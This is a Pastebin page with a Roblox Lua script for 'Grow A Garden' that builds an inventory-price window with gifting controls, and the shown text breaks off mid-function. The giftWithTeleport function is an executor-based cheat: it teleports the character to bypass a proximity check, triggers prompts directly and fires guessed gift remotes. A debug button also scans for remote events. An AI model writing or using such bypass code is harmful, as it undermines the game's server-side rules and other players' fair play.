Advertisement
suramraja1

wwees

Jun 12th, 2025
550
0
Never
2
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 42.97 KB | None | 0 0
  1. -- Inventory Price GUI for Grow A Garden
  2. local Players = game:GetService("Players")
  3. local ReplicatedStorage = game:GetService("ReplicatedStorage")
  4. local UserInputService = game:GetService("UserInputService")
  5. local RunService = game:GetService("RunService")
  6. local player = Players.LocalPlayer
  7.  
  8. -- Get required modules
  9. local CalculatePetValue = require(ReplicatedStorage.Modules:WaitForChild("CalculatePetValue"))
  10. local CalculatePlantValue = require(ReplicatedStorage.Modules:WaitForChild("CalculatePlantValue"))
  11. local DataService = require(ReplicatedStorage.Modules.DataService)
  12.  
  13. -- Helper to format numbers
  14. local function formatNumber(n)
  15.     if not n or type(n) ~= "number" then return "$0" end
  16.     local sign = (n < 0) and "-" or ""
  17.     local absn = math.abs(n)
  18.     local suffix = ""
  19.     if absn >= 1e12 then
  20.         n = n/1e12; suffix = "T"
  21.     elseif absn >= 1e9 then
  22.         n = n/1e9; suffix = "B"
  23.     elseif absn >= 1e6 then
  24.         n = n/1e6; suffix = "M"
  25.     elseif absn >= 1e3 then
  26.         n = n/1e3; suffix = "K"
  27.     end
  28.     local i = math.floor(math.abs(n))
  29.     local f = math.abs(n) - i
  30.     local frac = (f > 0) and ("%.1f"):format(f):sub(2) or ""
  31.     local s = tostring(i)
  32.     while true do
  33.         local count
  34.         s, count = s:gsub("^(-?%d+)(%d%d%d)", "%1,%2")
  35.         if count == 0 then break end
  36.     end
  37.     return "$" .. sign .. s .. frac .. suffix
  38. end
  39.  
  40. -- Create GUI
  41. local playerGui = player:WaitForChild("PlayerGui")
  42.  
  43. -- Remove existing gui if it exists
  44. local existingGui = playerGui:FindFirstChild("InventoryPriceGui")
  45. if existingGui then
  46.     existingGui:Destroy()
  47. end
  48.  
  49. -- State variables
  50. local currentSortColumn = "Price" -- Default sort by price
  51. local currentSortDir = "desc" -- Default descending (highest first)
  52. local allItemsData = {} -- Will store all inventory items data
  53. local isMinimized = false
  54. local originalSize
  55. local sortButtons = {}
  56. local isRefreshing = false
  57. local lastRefreshTime = 0
  58.  
  59. -- Create main GUI
  60. local inventoryGui = Instance.new("ScreenGui")
  61. inventoryGui.Name = "InventoryPriceGui"
  62. inventoryGui.ResetOnSpawn = false
  63. inventoryGui.Parent = playerGui
  64.  
  65. local mainFrame = Instance.new("Frame")
  66. mainFrame.Size = UDim2.new(0, 500, 0, 400)
  67. mainFrame.Position = UDim2.new(0.5, -250, 0.5, -200) -- change size and position
  68. mainFrame.BackgroundColor3 = Color3.fromRGB(30, 30, 30)
  69. mainFrame.BackgroundTransparency = 0.1
  70. mainFrame.Parent = inventoryGui
  71. mainFrame.Active = true
  72.  
  73. -- Store original size for minimizing
  74. originalSize = mainFrame.Size
  75.  
  76. -- Add rounded corners
  77. local mainCorner = Instance.new("UICorner")
  78. mainCorner.CornerRadius = UDim.new(0, 8)
  79. mainCorner.Parent = mainFrame
  80.  
  81. -- Title bar
  82. local titleBar = Instance.new("Frame")
  83. titleBar.Name = "TitleBar"
  84. titleBar.Size = UDim2.new(1, 0, 0, 30)
  85. titleBar.BackgroundColor3 = Color3.fromRGB(20, 20, 20)
  86. titleBar.BorderSizePixel = 0
  87. titleBar.Parent = mainFrame
  88.  
  89. -- Add rounded corners to title bar (top corners only)
  90. local titleCorner = Instance.new("UICorner")
  91. titleCorner.CornerRadius = UDim.new(0, 8)
  92. titleCorner.Parent = titleBar
  93.  
  94. -- Make sure the title bar only rounds the top corners
  95. local bottomFrame = Instance.new("Frame")
  96. bottomFrame.Size = UDim2.new(1, 0, 0.5, 0)
  97. bottomFrame.Position = UDim2.new(0, 0, 0.5, 0)
  98. bottomFrame.BackgroundColor3 = Color3.fromRGB(20, 20, 20)
  99. bottomFrame.BorderSizePixel = 0
  100. bottomFrame.Parent = titleBar
  101.  
  102. local titleText = Instance.new("TextLabel")
  103. titleText.Name = "Title"
  104. titleText.Size = UDim2.new(1, -100, 1, 0)
  105. titleText.BackgroundTransparency = 1
  106. titleText.Text = "Inventory Items & Prices"
  107. titleText.Font = Enum.Font.SourceSansBold
  108. titleText.TextColor3 = Color3.fromRGB(255, 255, 255)
  109. titleText.TextSize = 18
  110. titleText.Parent = titleBar
  111.  
  112. -- Close button
  113. local closeButton = Instance.new("TextButton")
  114. closeButton.Name = "CloseButton"
  115. closeButton.Size = UDim2.new(0, 30, 0, 30)
  116. closeButton.Position = UDim2.new(1, -30, 0, 0)
  117. closeButton.BackgroundColor3 = Color3.fromRGB(200, 60, 60)
  118. closeButton.Text = "X"
  119. closeButton.TextColor3 = Color3.fromRGB(255, 255, 255)
  120. closeButton.TextSize = 18
  121. closeButton.Font = Enum.Font.SourceSansBold
  122. closeButton.Parent = titleBar
  123.  
  124. -- Add rounded corners to close button
  125. local closeCorner = Instance.new("UICorner")
  126. closeCorner.CornerRadius = UDim.new(0, 6)
  127. closeCorner.Parent = closeButton
  128.  
  129. -- Minimize button
  130. local minimizeButton = Instance.new("TextButton")
  131. minimizeButton.Name = "MinimizeButton"
  132. minimizeButton.Size = UDim2.new(0, 30, 0, 30)
  133. minimizeButton.Position = UDim2.new(1, -65, 0, 0)
  134. minimizeButton.BackgroundColor3 = Color3.fromRGB(60, 60, 200)
  135. minimizeButton.Text = "-"
  136. minimizeButton.TextColor3 = Color3.fromRGB(255, 255, 255)
  137. minimizeButton.TextSize = 22
  138. minimizeButton.Font = Enum.Font.SourceSansBold
  139. minimizeButton.Parent = titleBar
  140.  
  141. -- Add rounded corners to minimize button
  142. local minimizeCorner = Instance.new("UICorner")
  143. minimizeCorner.CornerRadius = UDim.new(0, 6)
  144. minimizeCorner.Parent = minimizeButton
  145.  
  146. -- Refresh Button
  147. local refreshButton = Instance.new("TextButton")
  148. refreshButton.Name = "RefreshButton"
  149. refreshButton.Size = UDim2.new(0, 100, 0, 25)
  150. refreshButton.Position = UDim2.new(0, 10, 0, 3)
  151. refreshButton.BackgroundColor3 = Color3.fromRGB(60, 120, 60)
  152. refreshButton.Text = "Refresh"
  153. refreshButton.TextColor3 = Color3.fromRGB(255, 255, 255)
  154. refreshButton.TextSize = 16
  155. refreshButton.Font = Enum.Font.SourceSansBold
  156. refreshButton.Parent = titleBar
  157.  
  158. -- Create a UICorner for the refresh button
  159. local refreshCorner = Instance.new("UICorner")
  160. refreshCorner.CornerRadius = UDim.new(0, 4)
  161. refreshCorner.Parent = refreshButton
  162.  
  163. -- Create a permanent username input field near refresh button
  164. local giftPlayerFrame = Instance.new("Frame")
  165. giftPlayerFrame.Name = "GiftPlayerFrame"
  166. giftPlayerFrame.Size = UDim2.new(0, 200, 0, 25)
  167. giftPlayerFrame.Position = UDim2.new(0, 120, 0, 3) -- Next to refresh button
  168. giftPlayerFrame.BackgroundColor3 = Color3.fromRGB(50, 50, 50)
  169. giftPlayerFrame.BackgroundTransparency = 0.3
  170. giftPlayerFrame.Parent = titleBar
  171.  
  172. -- Add rounded corners
  173. local giftPlayerCorner = Instance.new("UICorner")
  174. giftPlayerCorner.CornerRadius = UDim.new(0, 4)
  175. giftPlayerCorner.Parent = giftPlayerFrame
  176.  
  177. -- Create input field
  178. local giftPlayerInput = Instance.new("TextBox")
  179. giftPlayerInput.Name = "GiftPlayerInput"
  180. giftPlayerInput.Size = UDim2.new(1, -10, 1, -6)
  181. giftPlayerInput.Position = UDim2.new(0, 5, 0, 3)
  182. giftPlayerInput.BackgroundTransparency = 1
  183. giftPlayerInput.Text = ""
  184. giftPlayerInput.PlaceholderText = "Enter player name to gift"
  185. giftPlayerInput.TextColor3 = Color3.fromRGB(255, 255, 255)
  186. giftPlayerInput.TextSize = 14
  187. giftPlayerInput.Font = Enum.Font.SourceSans
  188. giftPlayerInput.Parent = giftPlayerFrame
  189.  
  190. -- Add Debug button to find all remotes
  191. local debugButton = Instance.new("TextButton")
  192. debugButton.Name = "DebugButton"
  193. debugButton.Size = UDim2.new(0, 100, 0, 25)
  194. debugButton.Position = UDim2.new(0, 330, 0, 3) -- After username field
  195. debugButton.BackgroundColor3 = Color3.fromRGB(80, 80, 150)
  196. debugButton.Text = "Debug"
  197. debugButton.TextColor3 = Color3.fromRGB(255, 255, 255)
  198. debugButton.TextSize = 14
  199. debugButton.Font = Enum.Font.SourceSansBold
  200. debugButton.Parent = titleBar
  201.  
  202. -- Add rounded corners to debug button
  203. local debugCorner = Instance.new("UICorner")
  204. debugCorner.CornerRadius = UDim.new(0, 4)
  205. debugCorner.Parent = debugButton
  206.  
  207. -- Add notice about the fireproximityprompt function
  208. local noticeLabel = Instance.new("TextLabel")
  209. noticeLabel.Size = UDim2.new(0, 300, 0, 20)
  210. noticeLabel.Position = UDim2.new(1, -310, 0, 5)
  211. noticeLabel.BackgroundTransparency = 1
  212. noticeLabel.Font = Enum.Font.SourceSansItalic
  213. noticeLabel.TextColor3 = Color3.fromRGB(200, 200, 200)
  214. noticeLabel.TextSize = 12
  215. noticeLabel.Text = "Auto-teleport gifting requires a script executor"
  216. noticeLabel.TextXAlignment = Enum.TextXAlignment.Right
  217. noticeLabel.Parent = titleBar
  218.  
  219. -- Add resize handle
  220. local resizeHandle = Instance.new("Frame")
  221. resizeHandle.Name = "ResizeHandle"
  222. resizeHandle.Size = UDim2.new(0, 20, 0, 20)
  223. resizeHandle.Position = UDim2.new(1, -20, 1, -20)
  224. resizeHandle.BackgroundColor3 = Color3.fromRGB(80, 80, 80)
  225. resizeHandle.BackgroundTransparency = 0.5
  226. resizeHandle.Parent = mainFrame
  227. resizeHandle.ZIndex = 10
  228.  
  229. -- Add a texture to indicate resize handle
  230. local resizeTexture = Instance.new("TextLabel")
  231. resizeTexture.Name = "ResizeTexture"
  232. resizeTexture.Size = UDim2.new(1, 0, 1, 0)
  233. resizeTexture.BackgroundTransparency = 1
  234. resizeTexture.Text = "⇲"
  235. resizeTexture.TextColor3 = Color3.fromRGB(200, 200, 200)
  236. resizeTexture.TextSize = 16
  237. resizeTexture.Font = Enum.Font.SourceSansBold
  238. resizeTexture.Parent = resizeHandle
  239.  
  240. -- Header Frame for column titles
  241. local headerFrame = Instance.new("Frame")
  242. headerFrame.Name = "HeaderFrame"
  243. headerFrame.Size = UDim2.new(1, -20, 0, 35)
  244. headerFrame.Position = UDim2.new(0, 10, 0, 40)
  245. headerFrame.BackgroundColor3 = Color3.fromRGB(40, 40, 40)
  246. headerFrame.BackgroundTransparency = 0.5
  247. headerFrame.Parent = mainFrame
  248.  
  249. -- Add rounded corners to header frame
  250. local headerCorner = Instance.new("UICorner")
  251. headerCorner.CornerRadius = UDim.new(0, 6)
  252. headerCorner.Parent = headerFrame
  253.  
  254. -- Scrolling Frame for item list
  255. local scrollingFrame = Instance.new("ScrollingFrame")
  256. scrollingFrame.Name = "ScrollingFrame"
  257. scrollingFrame.Size = UDim2.new(1, -20, 1, -105)
  258. scrollingFrame.Position = UDim2.new(0, 10, 0, 85)
  259. scrollingFrame.BackgroundTransparency = 0.9
  260. scrollingFrame.BackgroundColor3 = Color3.fromRGB(30, 30, 30)
  261. scrollingFrame.BorderSizePixel = 0
  262. scrollingFrame.ScrollBarThickness = 8
  263. scrollingFrame.Parent = mainFrame
  264.  
  265. -- Total price indicator
  266. local totalFrame = Instance.new("Frame")
  267. totalFrame.Name = "TotalFrame"
  268. totalFrame.Size = UDim2.new(1, -20, 0, 30)
  269. totalFrame.Position = UDim2.new(0, 10, 1, -40)
  270. totalFrame.BackgroundColor3 = Color3.fromRGB(40, 40, 40)
  271. totalFrame.BackgroundTransparency = 0.5
  272. totalFrame.Parent = mainFrame
  273.  
  274. -- Add rounded corners to total frame
  275. local totalCorner = Instance.new("UICorner")
  276. totalCorner.CornerRadius = UDim.new(0, 6)
  277. totalCorner.Parent = totalFrame
  278.  
  279. local totalLabel = Instance.new("TextLabel")
  280. totalLabel.Name = "TotalLabel"
  281. totalLabel.Size = UDim2.new(0.5, 0, 1, 0)
  282. totalLabel.BackgroundTransparency = 1
  283. totalLabel.Font = Enum.Font.SourceSansBold
  284. totalLabel.TextColor3 = Color3.fromRGB(255, 255, 255)
  285. totalLabel.TextSize = 18
  286. totalLabel.Text = "Total Value:"
  287. totalLabel.TextXAlignment = Enum.TextXAlignment.Left
  288. totalLabel.Position = UDim2.new(0, 10, 0, 0)
  289. totalLabel.Parent = totalFrame
  290.  
  291. local totalValueLabel = Instance.new("TextLabel")
  292. totalValueLabel.Name = "TotalValueLabel"
  293. totalValueLabel.Size = UDim2.new(0.5, 0, 1, 0)
  294. totalValueLabel.Position = UDim2.new(0.5, 0, 0, 0)
  295. totalValueLabel.BackgroundTransparency = 1
  296. totalValueLabel.Font = Enum.Font.SourceSansBold
  297. totalValueLabel.TextColor3 = Color3.fromRGB(255, 255, 100)
  298. totalValueLabel.TextSize = 18
  299. totalValueLabel.Text = "$0"
  300. totalValueLabel.TextXAlignment = Enum.TextXAlignment.Right
  301. totalValueLabel.Position = UDim2.new(0.5, -10, 0, 0)
  302. totalValueLabel.Parent = totalFrame
  303.  
  304. -- Column Headers with sort buttons
  305. local columns = {"Item Name", "Type", "Variant", "Mutations", "Weight (kg)", "Price", "Favorited", "Gift"}
  306. local columnWidths = {0.24, 0.08, 0.1, 0.17, 0.1, 0.15, 0.08, 0.08}
  307.  
  308. -- Create Column Headers
  309. local currentX = 0
  310. for i, columnName in ipairs(columns) do
  311.     local headerContainer = Instance.new("Frame")
  312.     headerContainer.Name = columnName:gsub(" ", "") .. "HeaderContainer"
  313.     headerContainer.Size = UDim2.new(columnWidths[i], 0, 1, 0)
  314.     headerContainer.Position = UDim2.new(currentX, 0, 0, 0)
  315.     headerContainer.BackgroundTransparency = 1
  316.     headerContainer.Parent = headerFrame
  317.    
  318.     local columnHeader = Instance.new("TextLabel")
  319.     columnHeader.Name = columnName:gsub(" ", "") .. "Header"
  320.     columnHeader.Size = UDim2.new(1, -25, 1, 0) -- Make room for sort button
  321.     columnHeader.Position = UDim2.new(0, 5, 0, 0)
  322.     columnHeader.BackgroundTransparency = 1
  323.     columnHeader.Font = Enum.Font.SourceSansBold
  324.     columnHeader.TextColor3 = Color3.fromRGB(255, 255, 255)
  325.     columnHeader.TextSize = 18
  326.     columnHeader.Text = columnName
  327.     columnHeader.TextXAlignment = Enum.TextXAlignment.Left
  328.     columnHeader.Parent = headerContainer
  329.    
  330.     -- Add sort button (except for Gift column)
  331.     if i < 8 then
  332.     local sortButton = Instance.new("TextButton")
  333.     sortButton.Name = "SortButton"
  334.     sortButton.Size = UDim2.new(0, 20, 0, 20)
  335.     sortButton.Position = UDim2.new(1, -25, 0.5, -10)
  336.     sortButton.BackgroundTransparency = 0.8
  337.     sortButton.BackgroundColor3 = Color3.fromRGB(60, 60, 60)
  338.     sortButton.Text = columnName == currentSortColumn and (currentSortDir == "asc" and "▲" or "▼") or "◆"
  339.     sortButton.TextColor3 = columnName == currentSortColumn
  340.                          and Color3.fromRGB(255, 255, 100)
  341.                          or Color3.fromRGB(150, 150, 150)
  342.     sortButton.TextSize = 14
  343.     sortButton.Font = Enum.Font.SourceSansBold
  344.     sortButton.Parent = headerContainer
  345.    
  346.     -- Add rounded corners to sort button
  347.     local sortCorner = Instance.new("UICorner")
  348.     sortCorner.CornerRadius = UDim.new(0, 4)
  349.     sortCorner.Parent = sortButton
  350.    
  351.     -- Store the sort button for later reference
  352.     sortButtons[columnName] = sortButton
  353.     end
  354.    
  355.     currentX = currentX + columnWidths[i]
  356. end
  357.  
  358. -- Function to toggle minimize state
  359. local function toggleMinimize()
  360.     isMinimized = not isMinimized
  361.    
  362.     if isMinimized then
  363.         -- Store current size before minimizing
  364.         originalSize = mainFrame.Size
  365.        
  366.         -- Minimize GUI - just show title bar
  367.         mainFrame.Size = UDim2.new(0, 300, 0, 30)
  368.         minimizeButton.Text = "+"
  369.        
  370.         -- Hide content
  371.         if mainFrame:FindFirstChild("HeaderFrame") then
  372.             mainFrame.HeaderFrame.Visible = false
  373.         end
  374.         if mainFrame:FindFirstChild("ScrollingFrame") then
  375.             mainFrame.ScrollingFrame.Visible = false
  376.         end
  377.         if mainFrame:FindFirstChild("TotalFrame") then
  378.             mainFrame.TotalFrame.Visible = false
  379.         end
  380.         if mainFrame:FindFirstChild("ResizeHandle") then
  381.             mainFrame.ResizeHandle.Visible = false
  382.         end
  383.     else
  384.         -- Restore GUI to original size
  385.         mainFrame.Size = originalSize
  386.         minimizeButton.Text = "-"
  387.        
  388.         -- Show content
  389.         if mainFrame:FindFirstChild("HeaderFrame") then
  390.             mainFrame.HeaderFrame.Visible = true
  391.         end
  392.         if mainFrame:FindFirstChild("ScrollingFrame") then
  393.             mainFrame.ScrollingFrame.Visible = true
  394.         end
  395.         if mainFrame:FindFirstChild("TotalFrame") then
  396.             mainFrame.TotalFrame.Visible = true
  397.         end
  398.         if mainFrame:FindFirstChild("ResizeHandle") then
  399.             mainFrame.ResizeHandle.Visible = true
  400.         end
  401.     end
  402. end
  403.  
  404. -- Connect minimize button
  405. minimizeButton.MouseButton1Click:Connect(toggleMinimize)
  406.  
  407. -- DRAGGING IMPLEMENTATION
  408. local dragging = false
  409. local dragInput
  410. local dragStart
  411. local startPos
  412.  
  413. local function updateDrag(input)
  414.     if dragging then
  415.         local delta = input.Position - dragStart
  416.         local position = UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X,
  417.                                    startPos.Y.Scale, startPos.Y.Offset + delta.Y)
  418.        
  419.         RunService.RenderStepped:Wait()
  420.         mainFrame.Position = position
  421.     end
  422. end
  423.  
  424. titleBar.InputBegan:Connect(function(input)
  425.     if input.UserInputType == Enum.UserInputType.MouseButton1 or
  426.        input.UserInputType == Enum.UserInputType.Touch then
  427.         dragging = true
  428.         dragStart = input.Position
  429.         startPos = mainFrame.Position
  430.        
  431.         input.Changed:Connect(function()
  432.             if input.UserInputState == Enum.UserInputState.End then
  433.                 dragging = false
  434.             end
  435.         end)
  436.     end
  437. end)
  438.  
  439. titleBar.InputChanged:Connect(function(input)
  440.     if input.UserInputType == Enum.UserInputType.MouseMovement or
  441.        input.UserInputType == Enum.UserInputType.Touch then
  442.         dragInput = input
  443.     end
  444. end)
  445.  
  446. UserInputService.InputChanged:Connect(function(input)
  447.     if input == dragInput and dragging then
  448.         updateDrag(input)
  449.     end
  450. end)
  451.  
  452. -- RESIZE IMPLEMENTATION
  453. local resizing = false
  454. local resizeStart
  455. local startSize
  456.  
  457. resizeHandle.InputBegan:Connect(function(input)
  458.     if input.UserInputType == Enum.UserInputType.MouseButton1 or
  459.        input.UserInputType == Enum.UserInputType.Touch then
  460.         resizing = true
  461.         resizeStart = input.Position
  462.         startSize = mainFrame.Size
  463.        
  464.         input.Changed:Connect(function()
  465.             if input.UserInputState == Enum.UserInputState.End then
  466.                 resizing = false
  467.             end
  468.         end)
  469.     end
  470. end)
  471.  
  472. UserInputService.InputChanged:Connect(function(input)
  473.     if resizing and (input.UserInputType == Enum.UserInputType.MouseMovement or
  474.                     input.UserInputType == Enum.UserInputType.Touch) then
  475.         local delta = input.Position - resizeStart
  476.         local newWidth = math.max(400, startSize.X.Offset + delta.X)
  477.         local newHeight = math.max(300, startSize.Y.Offset + delta.Y)
  478.        
  479.         -- Resize main frame
  480.         mainFrame.Size = UDim2.new(0, newWidth, 0, newHeight)
  481.         originalSize = mainFrame.Size
  482.        
  483.         -- Update scrolling frame size
  484.         if scrollingFrame then
  485.             scrollingFrame.Size = UDim2.new(1, -20, 1, -105)
  486.         end
  487.     end
  488. end)
  489.  
  490. -- Close button logic
  491. closeButton.MouseButton1Click:Connect(function()
  492.     inventoryGui:Destroy()
  493. end)
  494.  
  495.  
  496. -- Modified gift function with proximity bypass
  497. local function giftWithTeleport(tool, targetPlayerName)
  498.     -- Validate inputs
  499.     if not tool or targetPlayerName == "" then
  500.         return false
  501.     end
  502.    
  503.     -- Find the target player
  504.     local targetPlayer = nil
  505.     for _, plr in pairs(game.Players:GetPlayers()) do
  506.         if plr.Name:lower() == targetPlayerName:lower() then
  507.             targetPlayer = plr
  508.             break
  509.         end
  510.     end
  511.    
  512.     if not targetPlayer then
  513.         return false, "Player not found"
  514.     end
  515.    
  516.     -- Variables for teleport loop
  517.     local character = player.Character
  518.     local targetCharacter = targetPlayer.Character
  519.     local isGifting = true
  520.     local giftSuccess = false
  521.     local maxAttempts = 20
  522.     local attempts = 0
  523.     local startTime = tick()
  524.    
  525.     -- Equip the tool first
  526.     if tool.Parent ~= character then
  527.         tool.Parent = character
  528.         task.wait(0.1)
  529.     end
  530.    
  531.     -- Start teleport and gift attempt loop
  532.     spawn(function()
  533.         while isGifting and attempts < maxAttempts and tick() - startTime < 10 do
  534.             attempts = attempts + 1
  535.            
  536.             -- Teleport to target player (forcefully move close to bypass distance check)
  537.             if character and targetCharacter and character.PrimaryPart and targetCharacter.PrimaryPart then
  538.                 pcall(function()
  539.                     local origPos = character.PrimaryPart.CFrame
  540.                     -- Teleport extremely close to target to bypass distance check
  541.                     character:SetPrimaryPartCFrame(
  542.                         targetCharacter.PrimaryPart.CFrame *
  543.                         CFrame.new(0, 0, 2) -- Very close distance
  544.                     )
  545.                    
  546.                     -- Wait a tiny moment for game to register position
  547.                     task.wait(0.1)
  548.                    
  549.                     -- Attempt multiple bypass methods
  550.                    
  551.                     -- 1. Try to trigger proximity prompts directly
  552.                     local hrp = targetCharacter:FindFirstChild("HumanoidRootPart")
  553.                     if hrp then
  554.                         for _, obj in pairs(hrp:GetChildren()) do
  555.                             if obj:IsA("ProximityPrompt") and obj.Enabled then
  556.                                 -- Try with different methods
  557.                                 fireproximityprompt(obj)
  558.                                 task.wait(0.05)
  559.                                 pcall(function() obj:InputHoldBegin() end)
  560.                                 task.wait(0.05)
  561.                                 pcall(function() obj:InputHoldEnd() end)
  562.                                 task.wait(0.05)
  563.                             end
  564.                         end
  565.                     end
  566.                    
  567.                     -- Return to original position if teleport isn't allowed in game
  568.                     task.wait(0.2)
  569.                     pcall(function() character:SetPrimaryPartCFrame(origPos) end)
  570.                 end)
  571.             end
  572.            
  573.             -- Try to trigger remote events directly
  574.             pcall(function()
  575.                 -- Try all potential gift-related remotes
  576.                 local gameEvents = ReplicatedStorage:FindFirstChild("GameEvents")
  577.                 if gameEvents then
  578.                     -- Try direct method with all potential parameters
  579.                     local remotes = {
  580.                         gameEvents:FindFirstChild("FriendGiftEvent"),
  581.                         gameEvents:FindFirstChild("RemoteEvent"),
  582.                         gameEvents:FindFirstChild("PetGiftingService"),
  583.                         gameEvents:FindFirstChild("SeedPackGiverEvent")
  584.                     }
  585.                    
  586.                     for _, remote in pairs(remotes) do
  587.                         if remote then
  588.                             -- Try various parameter combinations
  589.                             remote:FireServer(tool, targetPlayer)
  590.                             remote:FireServer("GiveItem", targetPlayer, tool)
  591.                             remote:FireServer(targetPlayer, tool)
  592.                             remote:FireServer(tool)
  593.                         end
  594.                     end
  595.                 end
  596.             end)
  597.            
  598.             -- Check if tool still exists (it would be gone if gift succeeded)
  599.             if not tool:IsDescendantOf(game) then
  600.                 giftSuccess = true
  601.                 isGifting = false
  602.                 break
  603.             end
  604.            
  605.             -- Small wait between attempts
  606.             task.wait(0.3)
  607.         end
  608.        
  609.         isGifting = false
  610.     end)
  611.    
  612.     -- Return immediately but gifting continues in background
  613.     return true, "Attempting to bypass proximity limit..."
  614. end
  615.  
  616. -- Add function to find all remote events (for debugging)
  617. local function findPotentialGiftRemotes()
  618.     local remotes = {}
  619.    
  620.     for _, instance in pairs(ReplicatedStorage:GetDescendants()) do
  621.         if instance:IsA("RemoteEvent") or instance:IsA("RemoteFunction") then
  622.             table.insert(remotes, instance:GetFullName())
  623.         end
  624.     end
  625.    
  626.     return remotes
  627. end
  628.  
  629. -- Connect debug button
  630. debugButton.MouseButton1Click:Connect(function()
  631.     local remotes = findPotentialGiftRemotes()
  632.     print("=== POTENTIAL GIFT REMOTES ===")
  633.     for i, remotePath in ipairs(remotes) do
  634.         if remotePath:lower():find("gift") or remotePath:lower():find("trade") or
  635.            remotePath:lower():find("item") or remotePath:lower():find("give") then
  636.             print(i, remotePath, "(LIKELY)")
  637.         else
  638.             print(i, remotePath)
  639.         end
  640.     end
  641.     print("Total remotes found:", #remotes)
  642.     print("=== END OF REMOTES LIST ===")
  643. end)
  644.  
  645. -- Forward declaration for createSortedItemList function
  646. local createSortedItemList
  647.  
  648. -- Function to refresh the inventory list
  649. local function refreshInventoryList()
  650.     -- Prevent multiple refreshes at once
  651.     if isRefreshing then return end
  652.     isRefreshing = true
  653.    
  654.     -- Don't refresh too frequently
  655.     local currentTime = tick()
  656.     if currentTime - lastRefreshTime < 5 then
  657.         isRefreshing = false
  658.         return
  659.     end
  660.     lastRefreshTime = currentTime
  661.    
  662.     -- Update button appearance
  663.     refreshButton.Text = "Refreshing..."
  664.     refreshButton.BackgroundColor3 = Color3.fromRGB(100, 100, 100)
  665.    
  666.     -- Clear all item data
  667.     allItemsData = {}
  668.    
  669.     -- Get player inventory data
  670.     local success, playerData = pcall(function()
  671.         return DataService:GetData()
  672.     end)
  673.    
  674.     if not success or not playerData or not playerData.InventoryData then
  675.         local errorLabel = Instance.new("TextLabel")
  676.         errorLabel.Size = UDim2.new(1, 0, 0, 30)
  677.         errorLabel.Position = UDim2.new(0, 0, 0, 0)
  678.         errorLabel.BackgroundTransparency = 1
  679.         errorLabel.TextColor3 = Color3.fromRGB(255, 100, 100)
  680.         errorLabel.Text = "Inventory data not found!"
  681.         errorLabel.Font = Enum.Font.SourceSansSemibold
  682.         errorLabel.TextSize = 18
  683.         errorLabel.Parent = scrollingFrame
  684.        
  685.         -- Reset button
  686.         refreshButton.Text = "Refresh"
  687.         refreshButton.BackgroundColor3 = Color3.fromRGB(60, 120, 60)
  688.         isRefreshing = false
  689.         return
  690.     end
  691.    
  692.     local totalValue = 0
  693.    
  694.     -- Get tools from player's backpack and character
  695.     local backpack = player:FindFirstChild("Backpack")
  696.     local character = player.Character
  697.     local tools = {}
  698.    
  699.     -- Collect tools from backpack
  700.     if backpack then
  701.         for _, tool in pairs(backpack:GetChildren()) do
  702.             if tool:IsA("Tool") then
  703.                 table.insert(tools, tool)
  704.             end
  705.         end
  706.     end
  707.    
  708.     -- Collect tools from character
  709.     if character then
  710.         for _, tool in pairs(character:GetChildren()) do
  711.             if tool:IsA("Tool") then
  712.                 table.insert(tools, tool)
  713.             end
  714.         end
  715.     end
  716.    
  717.     -- Process each tool
  718.     for _, tool in pairs(tools) do
  719.         -- Only process holdable items (not seeds)
  720.         if tool:GetAttribute("ItemType") == "Holdable" or tool:GetAttribute("ItemType") == "Pet" then
  721.             local itemName = tool.Name
  722.             local itemType = tool:GetAttribute("ItemType") or "Unknown"
  723.            
  724.             -- Get item UUID to find in inventory data
  725.             local uuid = tool:GetAttribute("ITEM_UUID")
  726.             if not uuid then continue end
  727.            
  728.             -- Get item data from inventory
  729.             local itemData = playerData.InventoryData[uuid]
  730.             if not itemData or not itemData.ItemData then continue end
  731.            
  732.             -- Get variant
  733.             local variant = "Normal"
  734.             if itemData.ItemData.Variant then
  735.                 variant = itemData.ItemData.Variant
  736.             end
  737.            
  738.             -- Get mutations
  739.             local mutations = "None"
  740.             if itemData.ItemData.MutationString and itemData.ItemData.MutationString ~= "" then
  741.                 mutations = itemData.ItemData.MutationString
  742.             end
  743.            
  744.             -- Get weight (FIXED)
  745.             local weight = 0
  746.             local weightDisplay = "0.00"
  747.            
  748.             -- For pets, extract from name with better pattern matching
  749.             if itemType == "Pet" then
  750.                 local weightStr = itemName:match("(%d+%.?%d*)%s*KG")
  751.                 if weightStr then
  752.                     weight = tonumber(weightStr) or 0
  753.                     weightDisplay = string.format("%.2f", weight)
  754.                 end
  755.             else
  756.                 -- Try multiple sources for weight
  757.                 if tool:GetAttribute("Weight") then
  758.                     weight = tool:GetAttribute("Weight")
  759.                 elseif tool:FindFirstChild("Weight") and tool.Weight:IsA("NumberValue") then
  760.                     weight = tool.Weight.Value
  761.                 else
  762.                     -- Last resort: try to extract from name
  763.                     local weightStr = itemName:match("(%d+%.?%d*)%s*[Kk][Gg]")
  764.                     if weightStr then
  765.                         weight = tonumber(weightStr) or 0
  766.                     end
  767.                 end
  768.                 weightDisplay = string.format("%.2f", weight)
  769.             end
  770.            
  771.             -- Calculate price
  772.             local price = 0
  773.             pcall(function()
  774.                 if itemType == "Pet" then
  775.                     price = CalculatePetValue(tool)
  776.                 else
  777.                     price = CalculatePlantValue(tool)
  778.                 end
  779.             end)
  780.            
  781.             -- Add to total value
  782.             totalValue = totalValue + price
  783.            
  784.             -- Check if item is favorited
  785.             local isFavorited = false
  786.             if (itemData.ItemData.IsFavorite and itemData.ItemData.IsFavorite == true) or
  787.                (tool:GetAttribute("IsFavorite") and tool:GetAttribute("IsFavorite") == true) or
  788.                (tool:GetAttribute("Favorite") and tool:GetAttribute("Favorite") == true) then
  789.                 isFavorited = true
  790.             end
  791.            
  792.             -- Store item data for sorting
  793.             table.insert(allItemsData, {
  794.                 name = itemName:gsub("%s*%[.*%]", ""):gsub("%s*%d+%.?%d*%s*KG", ""):gsub("Age%s*%d+", ""):gsub("%s+$", ""), -- Clean up name
  795.                 fullName = itemName,
  796.                 type = itemType,
  797.                 variant = variant,
  798.                 mutations = mutations,
  799.                 weight = weightDisplay,
  800.                 weightNum = weight,
  801.                 price = price,
  802.                 formattedPrice = formatNumber(price),
  803.                 uuid = uuid,
  804.                 isFavorited = isFavorited,
  805.                 tool = tool -- Store reference to the tool for gift functionality
  806.             })
  807.         end
  808.     end
  809.    
  810.     -- Update total value display
  811.     totalValueLabel.Text = formatNumber(totalValue)
  812.    
  813.     -- Display sorted item list
  814.     createSortedItemList()
  815.    
  816.     -- Reset button
